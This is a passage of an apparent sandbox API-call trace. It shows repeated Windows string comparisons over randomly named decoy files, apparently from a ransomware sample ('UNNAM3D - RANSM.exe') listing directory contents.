(lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="ttLWBUDVomotx85.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="vmwN.flv", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.170] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="Jil3P9aQS_.avi", cchCount1=-1, lpString2="UNNAM3D - RANSM.exe", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.170] CompareStringOrdinal (lpString1="UNNAM3D - RANSM.exe", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="_wLo_T-_xHQoQCx.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.170] CompareStringOrdinal (lpString1="_wLo_T-_xHQoQCx.mp4", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="ttLWBUDVomotx85.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="UNNAM3D - RANSM.exe", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.170] CompareStringOrdinal (lpString1="UNNAM3D - RANSM.exe", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="Jil3P9aQS_.avi", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="Jil3P9aQS_.avi", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.170] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="yo39-hWsdk Kwqd0cHA.flv", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="yo39-hWsdk Kwqd0cHA.flv", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="UNNAM3D - RANSM.exe", cchCount1=-1, lpString2="ttLWBUDVomotx85.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="UNNAM3D - RANSM.exe", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="Jil3P9aQS_.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="vmwN.flv", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="vmwN.flv", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="UNNAM3D - RANSM.exe", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="UNNAM3D - RANSM.exe", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="ttLWBUDVomotx85.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount1=-1, lpString2="t1UTy\\x ddEQMGCa7.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="IaWqKnXFr.m4a", cchCount1=-1, lpString2="chO6xvKC4SuwQxTe.rtf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="IaWqKnXFr.m4a", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="UNNAM3D - RANSM.exe", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="UNNAM3D - RANSM.exe", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="IaWqKnXFr.m4a", cchCount1=-1, lpString2="t1UTy\\x ddEQMGCa7.ots", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\x ddEQMGCa7.ots", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="Hx3Tlhe_5jId0OJhP6.pptx", cchCount1=-1, lpString2="t1UTy\\rjFeGvlijme.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\rjFeGvlijme.swf", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="ttLWBUDVomotx85.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="ttLWBUDVomotx85.gif", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="t1UTy\\x ddEQMGCa7.ots", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\x ddEQMGCa7.ots", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="IaWqKnXFr.m4a", cchCount1=-1, lpString2="t1UTy\\rjFeGvlijme.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\rjFeGvlijme.swf", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="Hx3Tlhe_5jId0OJhP6.pptx", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="Hx3Tlhe_5jId0OJhP6.pptx", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.171] CompareStringOrdinal (lpString1="t1UTy\\x ddEQMGCa7.ots", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\x ddEQMGCa7.ots", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="t1UTy\\rjFeGvlijme.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\rjFeGvlijme.swf", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="IaWqKnXFr.m4a", cchCount1=-1, lpString2="Hx3Tlhe_5jId0OJhP6.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="IaWqKnXFr.m4a", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="chO6xvKC4SuwQxTe.rtf", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="t1UTy\\x ddEQMGCa7.ots", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\x ddEQMGCa7.ots", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\rjFeGvlijme.swf", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\rjFeGvlijme.swf", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="IaWqKnXFr.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="Jil3P9aQS_.avi", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="Jil3P9aQS_.avi", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="t1UTy\\rjFeGvlijme.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\rjFeGvlijme.swf", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\0jOnjZop-702GRg.png", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\0jOnjZop-702GRg.png", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="t1UTy", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="hh4lRnb.ods", cchCount1=-1, lpString2="Sn MlQKdcUAQKuOMiL.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="Sn MlQKdcUAQKuOMiL.mp4", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="t1UTy\\P4m7gaW ZT.flv", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\P4m7gaW ZT.flv", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="t1UTy\\0jOnjZop-702GRg.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\0jOnjZop-702GRg.png", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="t1UTy", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="t1UTy", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="Sn MlQKdcUAQKuOMiL.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="Sn MlQKdcUAQKuOMiL.mp4", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="hh4lRnb.ods", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="hh4lRnb.ods", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="t1UTy\\0jOnjZop-702GRg.png", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy\\0jOnjZop-702GRg.png", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="t1UTy", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.172] CompareStringOrdinal (lpString1="t1UTy", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="Sn MlQKdcUAQKuOMiL.mp4", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="Sn MlQKdcUAQKuOMiL.mp4", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.172] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="hh4lRnb.ods", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="cdf 0O.avi", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="t1UTy", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="t1UTy", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="Sn MlQKdcUAQKuOMiL.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="Sn MlQKdcUAQKuOMiL.mp4", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="sKJ-dBYfyDB.swf", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="rnJlU.swf", cchCount1=-1, lpString2="r 8Z60WGh0PY-Uxk.gif", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="rnJlU.swf", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="HBzA3ifwtSZxE.avi", cchCount1=-1, lpString2="AG0E6OHBnNCn.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="HBzA3ifwtSZxE.avi", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="Sn MlQKdcUAQKuOMiL.mp4", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="Sn MlQKdcUAQKuOMiL.mp4", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="sKJ-dBYfyDB.swf", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="rnJlU.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="rnJlU.swf", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="HBzA3ifwtSZxE.avi", cchCount1=-1, lpString2="r 8Z60WGh0PY-Uxk.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="r 8Z60WGh0PY-Uxk.gif", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="H9Q00myyEZo.mp3", cchCount1=-1, lpString2="Q00ZHL.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="Q00ZHL.bmp", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="sKJ-dBYfyDB.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="sKJ-dBYfyDB.swf", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="rnJlU.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="rnJlU.swf", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="r 8Z60WGh0PY-Uxk.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="r 8Z60WGh0PY-Uxk.gif", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="HBzA3ifwtSZxE.avi", cchCount1=-1, lpString2="Q00ZHL.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="Q00ZHL.bmp", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="H9Q00myyEZo.mp3", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="H9Q00myyEZo.mp3", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="rnJlU.swf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="rnJlU.swf", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="r 8Z60WGh0PY-Uxk.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="r 8Z60WGh0PY-Uxk.gif", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="Q00ZHL.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.173] CompareStringOrdinal (lpString1="Q00ZHL.bmp", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="HBzA3ifwtSZxE.avi", cchCount1=-1, lpString2="H9Q00myyEZo.mp3", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="HBzA3ifwtSZxE.avi", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="AG0E6OHBnNCn.mkv", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.173] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="r 8Z60WGh0PY-Uxk.gif", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.174] CompareStringOrdinal (lpString1="r 8Z60WGh0PY-Uxk.gif", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="Q00ZHL.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.174] CompareStringOrdinal (lpString1="Q00ZHL.bmp", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="HBzA3ifwtSZxE.avi", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="hqk1KnpsNtd.mkv", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="cdf 0O.avi", cchCount1=-1, lpString2="hh4lRnb.ods", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.174] CompareStringOrdinal (lpString1="hh4lRnb.ods", cchCount1=-1, lpString2="1GbClcrwPdCacbM-.png", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="Q00ZHL.bmp", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.174] CompareStringOrdinal (lpString1="Q00ZHL.bmp", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="hqk1KnpsNtd.mkv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="jkHmqBwZLlx L8N.m4a", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="Jil3P9aQS_.avi", cchCount1=-1, lpString2="IaWqKnXFr.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="Jil3P9aQS_.avi", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="3 58nW.pps", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="desktop.ini", cchCount1=-1, lpString2="0KL2Gz9JGd.wav", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="jkHmqBwZLlx L8N.m4a", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="P1f3eP0sOin1nUyy.csv", cchCount1=-1, lpString2="-mQiD8fm.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.174] CompareStringOrdinal (lpString1="oOWu_URf4xodTCzItb.m4a", cchCount1=-1, lpString2="kZvsWRlw_Unl_4-z2.png", cchCount2=-1, bIgnoreCase=1) returned 3 